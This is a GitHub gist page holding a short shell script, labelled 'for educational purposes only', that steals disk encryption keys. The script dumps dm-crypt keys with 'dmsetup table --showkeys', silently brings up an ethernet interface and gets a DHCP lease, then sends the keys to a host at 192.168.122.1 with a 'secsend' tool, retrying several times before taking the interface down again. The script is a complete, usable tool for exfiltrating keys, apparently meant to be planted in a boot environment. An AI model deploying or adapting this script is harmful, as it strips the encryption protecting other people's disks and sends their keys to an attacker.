-
-
Save Snawoot/b495eadebe0e8c6712d4facb2e21620f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# FOR EDUCATIONAL PURPOSES ONLY | |
KEYS="$(echo data begin ; dmsetup table --showkeys ; echo data end)" | |
IFNAME="$(/sbin/ip l | grep -Eo '(eth|enp)[^:[:space:]]+:' | grep -o '[^:]*' | head -1)" | |
[ ! "$IFNAME" ] && exit 0 | |
/sbin/ip link set dev "$IFNAME" up > /dev/null 2>&1 | |
/sbin/udhcpc -f -q -n -i "$IFNAME" > /dev/null 2>&1 | |
for s in 5 10 0 ; do | |
( echo "$KEYS" | \ | |
/sbin/secsend 'WUHTdDlpGC0Rym1SHgyC/W98eb+Amwc9AZwFFTA6SXs' 192.168.122.1 16684 \ | |
) && break | |
sleep "$s" | |
done | |
interface="$IFNAME" /etc/udhcpc/default.script deconfig > /dev/null 2>&1 | |
/sbin/ip link set dev "$IFNAME" down |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment